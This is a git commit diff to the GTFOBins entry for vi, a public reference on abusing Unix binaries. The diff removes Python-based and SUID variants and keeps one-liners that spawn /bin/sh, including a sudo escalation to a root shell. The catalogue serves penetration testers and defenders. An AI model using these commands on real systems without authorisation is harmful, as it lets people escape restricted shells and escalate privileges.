Skim wrong functions from original vi

This commit is contained in:
Emilio Pinna 2018-12-18 14:04:05 +01:00
parent 9432a6ce3c
commit 4910c32409

View File

@ -1,13 +1,12 @@
--- ---
description: Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called.
functions: functions:
shell: shell:
- code: vi -c ':!/bin/sh' - code: vi -c ':!/bin/sh' /dev/null
- code: | - code: |
vi vi
:set shell=/bin/sh :set shell=/bin/sh
:shell :shell
- description: This requires that `vi` is compiled with Python support.
code: vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write: file-write:
- code: | - code: |
vi file_to_write vi file_to_write
@ -16,12 +15,6 @@ functions:
w w
file-read: file-read:
- code: vi file_to_read - code: vi file_to_read
suid:
- code: ./vi -c ':!/bin/sh -p'
- description: This requires that `vi` is compiled with Python support.
code: ./vi -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo: sudo:
- code: sudo vi -c ':!/bin/sh' - code: sudo vi -c ':!/bin/sh' /dev/null
- description: This requires that `vi` is compiled with Python support.
code: sudo vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
--- ---